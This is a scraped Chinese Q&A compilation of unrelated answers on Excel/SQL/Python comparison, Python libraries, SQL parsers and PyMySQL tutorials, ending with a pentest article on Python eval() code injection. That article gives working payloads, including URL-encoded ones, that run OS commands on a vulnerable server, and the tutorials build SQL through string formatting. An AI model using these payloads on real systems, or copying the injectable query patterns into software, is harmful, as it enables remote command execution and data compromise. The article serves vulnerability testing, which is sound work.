❶ 數據處理簡單對比：Excel，sql，Python
無論是什麼工具，做數據分析的時候一定會涉及到兩類工作：
這篇文章簡單對比一下Excel、SQL和Python在這兩類任務上的實現過程，從而對比其異同。
如圖所示，所涉及的共有三個表：
可以看到，score表通過sno和student表連接、通過cno和course表連接。
另外，這張截圖截自Excel，主要是為了方便後面Excel部分的討論。
現在，我想要合並三張表，得到新表merge_table，表包含的列一次為：sno，cno，degree，sname，cname。
即，新表中包含score表的所有列，student表的sname列，以及course表的cname列。
為了討論方便，先上結果：
首先，在 A17:E17 單元格創建所需列名，然後通過簡單復制粘貼得到 A18:C28 這三列的數據。
D、E列的數據可以通過以下兩種方法實現：
兩種方法實現邏輯和結果都一樣，但前者調用的時候比後者稍復雜。為了說明，D列數據的提取我使用了方法1，E列數據的提取我使用了方法2。
D列：
首先在 D18 單元格輸入以下函數（函數中的單元格所對應的數據請看圖01）
接著下拉函數至 D28 。
E列：
在 E18 單元格輸入以下函數（函數中的單元格所對應的數據請看圖01）
接著下拉函數至 E28 。
注意，如果要提取某個表中的多個列的數據，比如除了sname，我還想得到ssex、sbirthday和class的數據，由於這些列是一同儲存在student表中的，用 VLOOPKUP() 顯然更高效。
如果想要加快效率，還可以在原student表上新增一行，用數字x來表示第x列，然後在調用 VLOOPKUP() 時，直接把第三個參數指向這一行。
在合並關聯表上，SQL非常便捷。實現的語句有兩個（先創建或者導入原數據表）：
或
兩種方法返回的結果相同，結果如下：
我用的MySQL，不知道為什麼合並後行的順序變了=。=
在Python中，首先導入 numpy 和 pandas 模塊：
接著導入數據表。
之後通過以下語句實現merge_table表的建立：
結果如下：
現在假設score表多了一行數據：
如圖所示，藍色部分為多出的數據，且課程6-106在course表中不存在。請無視邏輯問題，主要是為了方便討論:）
遇到這種情況，上述的實現方法會出現一個問題：
因為課程號6-106在course表裡並不存在，所以函數在返回值的時候出錯了。
解決的辦法有一個，就是在原函數上嵌套 IF() 函數。比如我把 E29 的函數更改為：
如果函數計算結果錯誤，則返回0。
在SQL中，如果出現此類情況， LEFT JOIN 會返回NULL值：
如果想把NULL值替換為0，查詢合並表的時候可以加上 isnull() 函數（MySQL中此函數寫作 ifnull() ）：
如果函數計算結果錯誤，則返回0
返回結果和Excel的差不多，就不上圖了。
Python中情況類似：
如果想把NaN值替換為0，只需要在創建merge_table表之後，添加一行語句：
返回結果也不上圖了，和Excel的一樣。
面對合並表中數據不匹配，SQL和Python中都可以在合並表的時候把多出項忽略不計，只要把 LEFT JOIN 換成 INNER JOIN 就行了。但Excel不能自動刪除多出項所在行。
為了方便，現在做一個透視表，該表返回 選了課的同學的學號和其平均課程成績 。
三個軟體對於透視表的實現都很友好，並且效率相近。
Excel在數據透視表工具下把列各種拖拽就行了。
另外，Excel的數據透視表可以選擇返回合計（Grand Total）或者不返回。
語句：
結果：
語句：
結果：
一般做透視表的最終目的是作圖，畢竟一圖勝千語。
從這個目的出發，Python比SQL、Excel更實用，一來Python比Excel作圖高效很多，二來SQL不能作圖。
通過上述對比可以發現，Excel合並關聯表比SQL、Python要低效得多，而且在「數據不匹配」問題上解決得不好；而在另一方面，三者在創建透視表上表現相似，就看你習慣用哪個了:)
❷ tensorlab 支持python介面嗎
這又是一個 Awesome XXX 系列的資源整理，由 vinta 發起和維護。內容包括：Web框架、網路爬蟲、網路內容提取、模板引擎、資料庫、數據可視化、圖片處理、文本處理、自然語言處理、機器學習、日誌、代碼分析等。
伯樂在線已在 GitHub 上發起「Python 資源大全中文版」的整理。歡迎擴散、歡迎加入。
GitHub - jobbole/awesome-python-cn: Python資源大全中文版
環境管理
管理 Python 版本和環境的工具
p – 非常簡單的互動式 python 版本管理工具。
pyenv – 簡單的 Python 版本管理工具。
Vex – 可以在虛擬環境中執行命令。
virtualenv – 創建獨立 Python 環境的工具。
virtualenvwrapper- virtualenv 的一組擴展。
包管理
管理包和依賴的工具。
pip – Python 包和依賴關系管理工具。
pip-tools – 保證 Python 包依賴關系更新的一組工具。
conda – 跨平台，Python 二進制包管理工具。
Curdling – 管理 Python 包的命令行工具。
wheel – Python 分發的新標准，意在取代 eggs。
包倉庫
本地 PyPI 倉庫服務和代理。
warehouse – 下一代 PyPI。
Warehousebandersnatch – PyPA 提供的 PyPI 鏡像工具。
devpi – PyPI 服務和打包/測試/分發工具。
localshop – 本地 PyPI 服務（自定義包並且自動對 PyPI 鏡像）。
分發
打包為可執行文件以便分發。
PyInstaller – 將 Python 程序轉換成獨立的執行文件（跨平台）。
dh-virtualenv – 構建並將 virtualenv 虛擬環境作為一個 Debian 包來發布。
Nuitka – 將腳本、模塊、包編譯成可執行文件或擴展模塊。
py2app – 將 Python 腳本變為獨立軟體包（Mac OS X）。
py2exe – 將 Python 腳本變為獨立軟體包（Windows）。
pynsist – 一個用來創建 Windows 安裝程序的工具，可以在安裝程序中打包 Python本身。
構建工具
將源碼編譯成軟體。
buildout – 一個構建系統，從多個組件來創建，組裝和部署應用。
BitBake – 針對嵌入式 Linux 的類似 make 的構建工具。
fabricate – 對任何語言自動找到依賴關系的構建工具。
PlatformIO – 多平台命令行構建工具。
PyBuilder – 純 Python 實現的持續化構建工具。
SCons – 軟體構建工具。
互動式解析器
互動式 Python 解析器。
IPython – 功能豐富的工具，非常有效的使用互動式 Python。
bpython- 界面豐富的 Python 解析器。
ptpython – 高級互動式Python解析器， 構建於python-prompt-toolkit 之上。
文件
文件管理和 MIME（多用途的網際郵件擴充協議）類型檢測。
imghdr – （Python 標准庫）檢測圖片類型。
mimetypes – （Python 標准庫）將文件名映射為 MIME 類型。
path.py – 對 os.path 進行封裝的模塊。
pathlib – （Python3.4+ 標准庫）跨平台的、面向對象的路徑操作庫。
python-magic- 文件類型檢測的第三方庫 libmagic 的 Python 介面。
Unipath- 用面向對象的方式操作文件和目錄
watchdog – 管理文件系統事件的 API 和 shell 工具
日期和時間
操作日期和時間的類庫。
arrow- 更好的 Python 日期時間操作類庫。
Chronyk – Python 3 的類庫，用於解析手寫格式的時間和日期。
dateutil – Python datetime 模塊的擴展。
delorean- 解決 Python 中有關日期處理的棘手問題的庫。
moment – 一個用來處理時間和日期的Python庫。靈感來自於Moment.js。
PyTime – 一個簡單易用的Python模塊，用於通過字元串來操作日期/時間。
pytz – 現代以及歷史版本的世界時區定義。將時區資料庫引入Python。
when.py – 提供用戶友好的函數來幫助用戶進行常用的日期和時間操作。
文本處理
用於解析和操作文本的庫。
通用
chardet – 字元編碼檢測器，兼容 Python2 和 Python3。
difflib – (Python 標准庫)幫助我們進行差異化比較。
ftfy – 讓Unicode文本更完整更連貫。
fuzzywuzzy – 模糊字元串匹配。
Levenshtein – 快速計算編輯距離以及字元串的相似度。
pangu.py – 在中日韓語字元和數字字母之間添加空格。
pyfiglet -figlet 的 Python實現。
shortuuid – 一個生成器庫，用以生成簡潔的，明白的，URL 安全的 UUID。
unidecode – Unicode 文本的 ASCII 轉換形式 。
uniout – 列印可讀的字元，而不是轉義的字元串。
xpinyin – 一個用於把漢字轉換為拼音的庫。
Slug化
awesome-slugify – 一個 Python slug 化庫，可以保持 Unicode。
python-slugify – Python slug 化庫，可以把 unicode 轉化為 ASCII。
unicode-slugify – 一個 slug 工具，可以生成 unicode slugs ,需要依賴 Django 。
解析器
phonenumbers – 解析，格式化，儲存，驗證電話號碼。
PLY – lex 和 yacc 解析工具的 Python 實現。
Pygments – 通用語法高亮工具。
pyparsing – 生成通用解析器的框架。
python-nameparser – 把一個人名分解為幾個獨立的部分。
python-user-agents – 瀏覽器 user agent 解析器。
sqlparse – 一個無驗證的 SQL 解析器。
特殊文本格式處理
一些用來解析和操作特殊文本格式的庫。
通用
tablib – 一個用來處理中表格數據的模塊。
Office
Marmir – 把輸入的Python 數據結構轉換為電子表單。
openpyxl – 一個用來讀寫 Excel 2010 xlsx/xlsm/xltx/xltm 文件的庫。
python-docx – 讀取，查詢以及修改 Microsoft Word 2007/2008 docx 文件。
unoconv – 在 LibreOffice/OpenOffice 支持的任意文件格式之間進行轉換。
XlsxWriter – 一個用於創建 Excel .xlsx 文件的 Python 模塊。
xlwings – 一個使得在 Excel 中方便調用 Python 的庫（反之亦然），基於 BSD 協議。
xlwt / xlrd – 讀寫 Excel 文件的數據和格式信息。
relatorio – 模板化OpenDocument 文件。
PDF
PDFMiner – 一個用於從PDF文檔中抽取信息的工具。
PyPDF2 – 一個可以分割，合並和轉換 PDF 頁面的庫。
ReportLab – 快速創建富文本 PDF 文檔。
Markdown
Mistune – 快速並且功能齊全的純 Python 實現的 Markdown 解析器。
Python-Markdown – John Gruber』s Markdown 的 Python 版實現。
YAML
PyYAML – Python 版本的 YAML 解析器。
CSV
csvkit – 用於轉換和操作 CSV 的工具。
Archive
unp – 一個用來方便解包歸檔文件的命令行工具。
自然語言處理
用來處理人類語言的庫。
NLTK – 一個先進的平台，用以構建處理人類語言數據的 Python 程序。
jieba – 中文分詞工具。
langid.py – 獨立的語言識別系統。
Pattern – Python 網路信息挖掘模塊。
SnowNLP – 一個用來處理中文文本的庫。
TextBlob – 為進行普通自然語言處理任務提供一致的 API。
TextGrocery – 一簡單高效的短文本分類工具，基於 LibLinear 和 Jieba。
文檔
用以生成項目文檔的庫。
Sphinx – Python 文檔生成器。
awesome-sphinxdoc
MkDocs – 對 Markdown 友好的文檔生成器。
pdoc – 一個可以替換Epydoc 的庫，可以自動生成 Python 庫的 API 文檔。
Pycco – 文學編程（literate-programming）風格的文檔生成器。
配置
用來保存和解析配置的庫。
config – logging 模塊作者寫的分級配置模塊。
ConfigObj – INI 文件解析器，帶驗證功能。
ConfigParser – (Python 標准庫) INI 文件解析器。
profig – 通過多種格式進行配置，具有數值轉換功能。
python-decouple – 將設置和代碼完全隔離。
命令行工具
用於創建命令行程序的庫。
命令行程序開發
cement – Python 的命令行程序框架。
click – 一個通過組合的方式來創建精美命令行界面的包。
cliff – 一個用於創建命令行程序的框架，可以創建具有多層命令的命令行程序。
clint – Python 命令行程序工具。
colorama – 跨平台彩色終端文本。
docopt – Python 風格的命令行參數解析器。
Gooey – 一條命令，將命令行程序變成一個 GUI 程序。
python-prompt-toolkit – 一個用於構建強大的互動式命令行程序的庫。
生產力工具
aws-cli – Amazon Web Services 的通用命令行界面。
bashplotlib – 在終端中進行基本繪圖。
caniusepython3 – 判斷是哪個項目妨礙你你移植到 Python 3。
cookiecutter – 從 cookiecutters（項目模板）創建項目的一個命令行工具。
❸ Python/PHP MySQL語句解析器解決業務分表
自己曾經做過一個網盤項目。剛開始由於需要快速地從0到1建設上線，所以沒有對核心文檔表進行分表。當然我的架構理念也是「按需架構設計」。產品需求在沒有明確的長遠計劃的情況下以「小步快跑，趕超競品」為主。後期由於產品功能觸達目標用戶群需求點、產品用戶體驗不斷提升、產品多方位導流、加強產品推廣文檔表每天有百萬數據增長量。不得不對文檔表進行按用戶id分表。當時產品功能已全覆蓋文檔的生命周期。產品功能已豐富多彩。修改所有關聯文檔表的業務代碼為按用戶id分表開發測試成本非常高。上線後線上問題不可控。經過考慮在業務代碼最底層DB層進行SQL語句解析來進行用戶id分表處理。這樣的話開發測試成本都非常低。上線後有問題方便回滾和追查原因。
今天為大家介紹Python/PHP兩種MySQL語句解析器。當時網盤項目用的是PHP編程語言開發。
Python的SQL語句解析器 。個人推薦使用moz_sql_parser庫。經調研官方的sqlparse庫解析出來的語句段無法滿足需求也很難理解。
1、Python moz_sql_parser庫安裝
2、Python moz_sql_parser SQL語句解析
3、Python moz_sql_parser總結
PHP的SQL語句解析器。 個人推薦使用PhpMyAdmin的sql-parser組件。PhpMyAdmin是經過 歷史 檢驗可信賴的。
1、PHP PhpMyAdmin/sql-parser安裝
2、PHP PhpMyAdmin/sql-parser SQL語句解析
3、PHP PhpMyAdmin/sql-parser總結
大家有什麼問題可以發評論溝通。
❹ plpython3u判斷sql是否查表
plpython3u是PostgreSQL資料庫的一種編程語言，可以在其中編寫Python程序來進行數據豎枝庫操作。在Python程序中，可以使用psycopg2庫進行與PostgreSQL資料庫的交互。
判斷SQL是否查表，可以通過判斷SQL語句中是否包含「FROM」這個關鍵字來進行判斷。如果SQL語句中包含了「FROM」關鍵字，那麼就可以認為這個SQL語句是查詢表的操作。
在使用plpython3u進行數余銀敏據庫操作時，可以使用psycopg2庫提供的cursor對象的execute()方法來執行SQL語句。執行完SQL語句後，可以使用cursor對象的rowcount屬性來獲取SQL語句影響的行數。
需要注意的是，即使SQL語句沒有查詢任何錶，也可能會有返回結果。例如，可以使用SELECT 1這個語句來測試資料庫連接是否正常。這個語句不查詢搏梁任何錶，但是會返回一個結果集，這個結果集中只有一行一列，值為1。
總之，通過判斷SQL語句中是否包含「FROM」關鍵字，可以初步判斷這個SQL語句是否是查詢表的操作。但是，需要具體情況具體分析，不能僅憑這個來判斷。
❺ 如何用python寫sql
python可以利用pymysql模塊操作資料庫。
什麼是 PyMySQL？
PyMySQL 是在 Python3.x 版本中用於連接 MySQL 伺服器的一個庫，Python2中則使用mysqldb。
PyMySQL 遵循 Python 資料庫 API v2.0 規范，並包含了 pure-Python MySQL 客戶端庫。
PyMySQL 安裝
在使用 PyMySQL 之前，我們需要確保 PyMySQL 已安裝。
PyMySQL 下載地址：https://github.com/PyMySQL/PyMySQL。
如果還未安裝，我們可以使用以下命令安裝最新版的 PyMySQL：
$ pip3 install PyMySQL
如果你的系統不支持 pip 命令，可以使用以下方式安裝：
1、使用 git 命令下載安裝包安裝(你也可以手動下載)：
$ git clone https://github.com/PyMySQL/PyMySQL$ cd PyMySQL/$ python3 setup.py install
2、如果需要制定版本號，可以使用 curl 命令來安裝：
$ # X.X 為 PyMySQL 的版本號$ curl -L https://github.com/PyMySQL/PyMySQL/tarball/pymysql-X.X | tar xz$ cd PyMySQL*$ python3 setup.py install
$ # 現在你可以刪除 PyMySQL* 目錄
注意：請確保您有root許可權來安裝上述模塊。
安裝的過程中可能會出現"ImportError: No mole named setuptools"的錯誤提示，意思是你沒有安裝setuptools，你可以訪問https://pypi.python.org/pypi/setuptools找到各個系統的安裝方法。
Linux 系統安裝實例：
$ wget https://bootstrap.pypa.io/ez_setup.py$ python3 ez_setup.py
資料庫連接
連接資料庫前，請先確認以下事項：
您已經創建了資料庫 TESTDB.
在TESTDB資料庫中您已經創建了表 EMPLOYEE
EMPLOYEE表欄位為 FIRST_NAME, LAST_NAME, AGE, SEX 和 INCOME。
連接資料庫TESTDB使用的用戶名為 "testuser" ，密碼為 "test123",你可以可以自己設定或者直接使用root用戶名及其密碼，Mysql資料庫用戶授權請使用Grant命令。
在你的機子上已經安裝了 Python MySQLdb 模塊。
如果您對sql語句不熟悉，可以訪問我們的SQL基礎教程
- Database version : 5.5.20-log
- ..................................user_id = "test123"password = "password"con.execute('insert into Login values( %s, %s)' % (user_id, password))..................................
fetchone():該方法獲取下一個查詢結果集。結果集是一個對象
fetchall():接收全部的返回結果行.
rowcount:這是一個只讀屬性，並返回執行execute()方法後影響的行數。
- fname=Mac, lname=Mohan, age=20, sex=M, income=2000
原子性（atomicity）。一個事務是一個不可分割的工作單位，事務中包括的諸操作要麼都做，要麼都不做。
一致性（consistency）。事務必須是使資料庫從一個一致性狀態變到另一個一致性狀態。一致性與原子性是密切相關的。
隔離性（isolation）。一個事務的執行不能被其他事務干擾。即一個事務內部的操作及使用的數據對並發的其他事務是隔離的，並發執行的各個事務之間不能互相干擾。
持久性（rability）。持續性也稱永久性（permanence），指一個事務一旦提交，它對資料庫中數據的改變就應該是永久性的。接下來的其他操作或故障不應該對其有任何影響。
實例：
以下實例鏈接 Mysql 的 TESTDB 資料庫：
實例(Python 3.0+)
#!/usr/bin/python3
import pymysql
# 打開資料庫連接db = pymysql.connect("localhost","testuser","test123","TESTDB" )
# 使用 cursor() 方法創建一個游標對象 cursorcursor = db.cursor()
# 使用 execute() 方法執行 SQL 查詢 cursor.execute("SELECT VERSION()")
# 使用 fetchone() 方法獲取單條數據.data = cursor.fetchone()
print ("Database version : %s " % data)
# 關閉資料庫連接db.close()
執行以上腳本輸出結果如下：
創建資料庫表
如果資料庫連接存在我們可以使用execute()方法來為資料庫創建表，如下所示創建表EMPLOYEE：
實例(Python 3.0+)
#!/usr/bin/python3
import pymysql
# 打開資料庫連接db = pymysql.connect("localhost","testuser","test123","TESTDB" )
# 使用 cursor() 方法創建一個游標對象 cursorcursor = db.cursor()
# 使用 execute() 方法執行 SQL，如果表存在則刪除cursor.execute("DROP TABLE IF EXISTS EMPLOYEE")
# 使用預處理語句創建表sql = """CREATE TABLE EMPLOYEE (
FIRST_NAME CHAR(20) NOT NULL,
LAST_NAME CHAR(20),
AGE INT,
SEX CHAR(1),
INCOME FLOAT )"""
cursor.execute(sql)
# 關閉資料庫連接db.close()
資料庫插入操作
以下實例使用執行 SQL INSERT 語句向表 EMPLOYEE 插入記錄：
實例(Python 3.0+)
#!/usr/bin/python3
import pymysql
# 打開資料庫連接db = pymysql.connect("localhost","testuser","test123","TESTDB" )
# 使用cursor()方法獲取操作游標 cursor = db.cursor()
# SQL 插入語句sql = """INSERT INTO EMPLOYEE(FIRST_NAME,
LAST_NAME, AGE, SEX, INCOME)
VALUES ('Mac', 'Mohan', 20, 'M', 2000)"""try: # 執行sql語句
cursor.execute(sql)
# 提交到資料庫執行
db.commit()except: # 如果發生錯誤則回滾
db.rollback()
# 關閉資料庫連接db.close()
以上例子也可以寫成如下形式：
實例(Python 3.0+)
#!/usr/bin/python3
import pymysql
# 打開資料庫連接db = pymysql.connect("localhost","testuser","test123","TESTDB" )
# 使用cursor()方法獲取操作游標 cursor = db.cursor()
# SQL 插入語句sql = "INSERT INTO EMPLOYEE(FIRST_NAME,
LAST_NAME, AGE, SEX, INCOME)
VALUES ('%s', '%s', %s, '%s', %s)" % ('Mac', 'Mohan', 20, 'M', 2000)try: # 執行sql語句
cursor.execute(sql)
# 執行sql語句
db.commit()except: # 發生錯誤時回滾
db.rollback()
# 關閉資料庫連接db.close()
以下代碼使用變數向SQL語句中傳遞參數:
資料庫查詢操作
Python查詢Mysql使用 fetchone() 方法獲取單條數據, 使用fetchall() 方法獲取多條數據。
實例：
查詢EMPLOYEE表中salary（工資）欄位大於1000的所有數據：
實例(Python 3.0+)
#!/usr/bin/python3
import pymysql
# 打開資料庫連接db = pymysql.connect("localhost","testuser","test123","TESTDB" )
# 使用cursor()方法獲取操作游標 cursor = db.cursor()
# SQL 查詢語句sql = "SELECT * FROM EMPLOYEE
WHERE INCOME > %s" % (1000)try: # 執行SQL語句
cursor.execute(sql)
# 獲取所有記錄列表
results = cursor.fetchall()
for row in results: fname = row[0]
lname = row[1]
age = row[2]
sex = row[3]
income = row[4]
# 列印結果
print ("fname=%s,lname=%s,age=%s,sex=%s,income=%s" % (fname, lname, age, sex, income ))except: print ("Error: unable to fetch data")
# 關閉資料庫連接db.close()
以上腳本執行結果如下：
資料庫更新操作
更新操作用於更新數據表的的數據，以下實例將 TESTDB 表中 SEX 為 'M' 的 AGE 欄位遞增 1：
實例(Python 3.0+)
#!/usr/bin/python3
import pymysql
# 打開資料庫連接db = pymysql.connect("localhost","testuser","test123","TESTDB" )
# 使用cursor()方法獲取操作游標 cursor = db.cursor()
# SQL 更新語句sql = "UPDATE EMPLOYEE SET AGE = AGE + 1 WHERE SEX = '%c'" % ('M')try: # 執行SQL語句
cursor.execute(sql)
# 提交到資料庫執行
db.commit()except: # 發生錯誤時回滾
db.rollback()
# 關閉資料庫連接db.close()
刪除操作
刪除操作用於刪除數據表中的數據，以下實例演示了刪除數據表 EMPLOYEE 中 AGE 大於 20 的所有數據：
實例(Python 3.0+)
#!/usr/bin/python3
import pymysql
# 打開資料庫連接db = pymysql.connect("localhost","testuser","test123","TESTDB" )
# 使用cursor()方法獲取操作游標 cursor = db.cursor()
# SQL 刪除語句sql = "DELETE FROM EMPLOYEE WHERE AGE > %s" % (20)try: # 執行SQL語句
cursor.execute(sql)
# 提交修改
db.commit()except: # 發生錯誤時回滾
db.rollback()
# 關閉連接db.close()
執行事務
事務機制可以確保數據一致性。
事務應該具有4個屬性：原子性、一致性、隔離性、持久性。這四個屬性通常稱為ACID特性。
Python DB API 2.0 的事務提供了兩個方法 commit 或 rollback。
實例
實例(Python 3.0+)
# SQL刪除記錄語句sql = "DELETE FROM EMPLOYEE WHERE AGE > %s" % (20)try: # 執行SQL語句
cursor.execute(sql)
# 向資料庫提交
db.commit()except: # 發生錯誤時回滾
db.rollback()
對於支持事務的資料庫， 在Python資料庫編程中，當游標建立之時，就自動開始了一個隱形的資料庫事務。
commit()方法游標的所有更新操作，rollback（）方法回滾當前游標的所有操作。每一個方法都開始了一個新的事務。
錯誤處理
DB API中定義了一些資料庫操作的錯誤及異常，下表列出了這些錯誤和異常:
異常
描述
Warning 當有嚴重警告時觸發，例如插入數據是被截斷等等。必須是 StandardError 的子類。
Error 警告以外所有其他錯誤類。必須是 StandardError 的子類。
InterfaceError 當有資料庫介面模塊本身的錯誤（而不是資料庫的錯誤）發生時觸發。 必須是Error的子類。
DatabaseError 和資料庫有關的錯誤發生時觸發。 必須是Error的子類。
DataError 當有數據處理時的錯誤發生時觸發，例如：除零錯誤，數據超范圍等等。 必須是DatabaseError的子類。
OperationalError 指非用戶控制的，而是操作資料庫時發生的錯誤。例如：連接意外斷開、 資料庫名未找到、事務處理失敗、內存分配錯誤等等操作資料庫是發生的錯誤。 必須是DatabaseError的子類。
IntegrityError 完整性相關的錯誤，例如外鍵檢查失敗等。必須是DatabaseError子類。
InternalError 資料庫的內部錯誤，例如游標（cursor）失效了、事務同步失敗等等。 必須是DatabaseError子類。
ProgrammingError 程序錯誤，例如數據表（table）沒找到或已存在、SQL語句語法錯誤、 參數數量錯誤等等。必須是DatabaseError的子類。
NotSupportedError 不支持錯誤，指使用了資料庫不支持的函數或API等。例如在連接對象上 使用.rollback()函數，然而資料庫並不支持事務或者事務已關閉。 必須是DatabaseError的子類。
❻ 如何python獲取sql資料庫訪問的url
python
操作資料庫，要安裝一個Python和資料庫交互的包MySQL-python-1.2.2.win32-py2.5.exe，然後我們就可以使用MySQLdb這個包進行資料庫操作了。
操作步驟如下：
1、建立資料庫連接
import
MySQLdb
conn=MySQLdb.connect(host="localhost",user="root",passwd="sa",db="mytable")
cursor=conn.cursor()
2、執行資料庫操作
n=cursor.execute(sql,param)
我們要使用連接對象獲得一個cursor對象,接下來,我們會使用cursor提供的方法來進行工作.
這些方法包括兩大類:1.執行命令,2.接收返回值
3、cursor用來執行命令的方法:
callproc(self, procname,
args):用來執行存儲過程,接收的參數為存儲過程名和參數列表,返回值為受影響的行數
execute(self, query,
args):執行單條sql語句,接收的參數為sql語句本身和使用的參數列表,返回值為受影響的行數
executemany(self, query,
args):執行單挑sql語句,但是重復執行參數列表裡的參數,返回值為受影響的行數
nextset(self):移動到下一個結果集
4、cursor用來接收返回值的方法:
fetchall(self):接收全部的返回結果行.
fetchmany(self,
size=None):接收size條返回結果行.如果size的值大於返回的結果行的數量,則會返回cursor.arraysize條數據.
fetchone(self):返回一條結果行.
scroll(self, value,
mode='relative'):移動指針到某一行.如果mode='relative',則表示從當前所在行移動value條,如果mode='absolute',則表示從結果集的第一
行移動value條.
5、下面的代碼是一個完整的例子.
#使用sql語句,這里要接收的參數都用%s佔位符.要注意的是,無論你要插入的數據是什麼類型,佔位符永遠都要用%s
sql="insert
into cdinfo values(%s,%s,%s,%s,%s)"
#param應該為tuple或者list
param=(title,singer,imgurl,url,alpha)
#執行,如果成功,n的值為1
n=cursor.execute(sql,param)
#再來執行一個查詢的操作
cursor.execute("select
* from cdinfo")
#我們使用了fetchall這個方法.這樣,cds里保存的將會是查詢返回的全部結果.每條結果都是一個tuple類型的數據,這些tuple組成了一個tuple
cds=cursor.fetchall()
#因為是tuple,所以可以這樣使用結果集
print
cds[0][3]
#或者直接顯示出來,看看結果集的真實樣子
print
cds
#如果需要批量的插入數據,就這樣做
sql="insert
into cdinfo values(0,%s,%s,%s,%s,%s)"
#每個值的集合為一個tuple,整個參數集組成一個tuple,或者list
param=((title,singer,imgurl,url,alpha),(title2,singer2,imgurl2,url2,alpha2))
#使用executemany方法來批量的插入數據.這真是一個很酷的方法!
n=cursor.executemany(sql,param)
需要注意的是(或者說是我感到奇怪的是),在執行完插入或刪除或修改操作後,需要調用一下conn.commit()方法進行提交.這樣,數據才會真正保
存在資料庫中.我不清楚是否是我的mysql設置問題,總之,今天我在一開始使用的時候,如果不用commit,那數據就不會保留在資料庫中,但是,數據
確實在資料庫呆過.因為自動編號進行了累積,而且返回的受影響的行數並不為0.
6、關閉資料庫連接
需要分別的關閉指針對象和連接對象.他們有名字相同的方法
cursor.close()
conn.close()
Django操作資料庫
django是一個出色的用於python的web框架。django連接有操作資料庫的api，使用起來十分簡潔。我們在settings.py中配置好所要連接的資料庫，然後在moles、view、urls中分別寫好業務邏輯
❼ 如何使用python查找網站漏洞
如果你的Web應用中存在Python代碼注入漏洞的話，攻擊者就可以利用你的Web應用來向你後台伺服器的Python解析器發送惡意Python代碼了。這也就意味著，如果你可以在目標伺服器中執行Python代碼的話，你就可以通過調用伺服器的操作系統的指令來實施攻擊了。通過運行操作系統命令，你不僅可以對那些可以訪問到的文件進行讀寫操作，甚至還可以啟動一個遠程的互動式Shell(例如nc、Metasploit和Empire)。
為了復現這個漏洞，我在最近的一次外部滲透測試過程中曾嘗試去利用過這個漏洞。當時我想在網上查找一些關於這個漏洞具體應用方法的信息，但是並沒有找到太多有價值的內容。在同事Charlie Worrell(@decidedlygray)的幫助下，我們成功地通過Burp POC實現了一個非互動式的shell，這也是我們這篇文章所要描述的內容。
因為除了Python之外，還有很多其他的語言(例如Perl和Ruby)也有可能出現代碼注入問題，因此Python代碼注入屬於伺服器端代碼注入的一種。實際上，如果各位同學和我一樣是一名CWE的關注者，那麼下面這兩個CWE也許可以給你提供一些有價值的參考內容：
1. CWE-94：代碼生成控制不當(『代碼注入』)2. CWE-95：動態代碼評估指令處理不當(『Eval注入』)漏洞利用
假設你現在使用Burp或者其他工具發現了一個Python注入漏洞，而此時的漏洞利用Payload又如下所示：
eval(compile('for x in range(1):\n import time\n time.sleep(20)','a','single'))那麼你就可以使用下面這個Payload來在目標主機中實現操作系統指令注入了：
eval(compile("""for x in range(1):\\n import os\\n os.popen(r'COMMAND').read()""",'','single'))實際上，你甚至都不需要使用for循環，直接使用全局函數「__import__」就可以了。具體代碼如下所示：
eval(compile("""__import__('os').popen(r'COMMAND').read()""",'','single'))其實我們的Payload代碼還可以更加簡潔，既然我們已經將import和popen寫在了一個表達式裡面了，那麼在大多數情況下，你甚至都不需要使用compile了。具體代碼如下所示：
__import__('os').popen('COMMAND').read()
為了將這個Payload發送給目標Web應用，你需要對其中的某些字元進行URL編碼。為了節省大家的時間，我們在這里已經將上面所列出的Payload代碼編碼完成了，具體如下所示：
param=eval%28compile%28%27for%20x%20in%20range%281%29%3A%0A%20import%20time%0A%20time.sleep%2820%29%27%2C%27a%27%2C%27single%27%29%29param=eval%28compile%28%22%22%22for%20x%20in%20range%281%29%3A%5Cn%20import%20os%5Cn%20os.popen%28r%27COMMAND%27%29.read%28%29%22%22%22%2C%27%27%2C%27single%27%29%29param=eval%28compile%28%22%22%22__import__%28%27os%27%29.popen%28r%27COMMAND%27%29.read%28%29%22%22%22%2C%27%27%2C%27single%27%29%29param=__import__%28%27os%27%29.popen%28%27COMMAND%27%29.read%28%29接下來，我們將會給大家介紹關於這個漏洞的細節內容，並跟大家分享一個包含這個漏洞的Web應用。在文章的結尾，我將會給大家演示一款工具，這款工具是我和我的同事Charlie共同編寫的，它可以明顯降低你在利用這個漏洞時所花的時間。簡而言之，這款工具就像sqlmap一樣，可以讓你快速找到SQL注入漏洞，不過這款工具仍在起步階段，感興趣的同學可以在項目的GitHub主頁[傳送門]中與我交流一下。
搭建一個包含漏洞的伺服器
為了更好地給各位同學進行演示，我專門創建了一個包含漏洞的Web應用。如果你想要自己動手嘗試利用這個漏洞的話，你可以點擊這里獲取這份Web應用。接下來，我們要配置的就是Web應用的運行環境，即通過pip或者easy_install來安裝web.py。它可以作為一台獨立的伺服器運行，或者你也可以將它載入至包含mod_wsgi模塊的Apache伺服器中。相關操作指令如下所示：
git clone https://github.com/sethsec/PyCodeInjection.gitcd VulnApp
./install_requirements.sh
python PyCodeInjectionApp.py
漏洞分析
當你在網上搜索關於python的eval()函數時，幾乎沒有文章會提醒你這個函數是非常不安全的，而eval()函數就是導致這個Python代碼注入漏洞的罪魁禍首。如果你遇到了下面這兩種情況，說明你的Web應用中存在這個漏洞：
1. Web應用接受用戶輸入(例如GET/POST參數，cookie值);2. Web應用使用了一種不安全的方法來將用戶的輸入數據傳遞給eval()函數(沒有經過安全審查，或者缺少安全保護機制);下圖所示的是一份包含漏洞的示例代碼：
\
大家可以看到，eval()函數是上述代碼中唯一一個存在問題的地方。除此之外，如果開發人員直接對用戶的輸入數據(序列化數據)進行拆封的話，那麼Web應用中也將會出現這個漏洞。
不過需要注意的是，除了eval()函數之外，Python的exec()函數也有可能讓你的Web應用中出現這個漏洞。而且據我所示，現在很多開發人員都會在Web應用中不規范地使用exec()函數，所以這個問題肯定會存在。
自動掃描漏洞
為了告訴大家如何利用漏洞來實施攻擊，我通常會使用掃描器來發現一些我此前沒有見過的東西。找到之後，我再想辦法將毫無新意的PoC開發成一個有意義的exploit。不過我想提醒大家的是，不要過度依賴掃描工具，因為還很多東西是掃描工具也找不到的。
這個漏洞也不例外，如果你在某個Web應用中發現了這個漏洞，那麼你肯定使用了某款自動化的掃描工具，比如說Burp Suite Pro。目前為止，如果不使用類似Burp Suite Pro這樣的專業掃描工具，你幾乎是無法發現這個漏洞的。
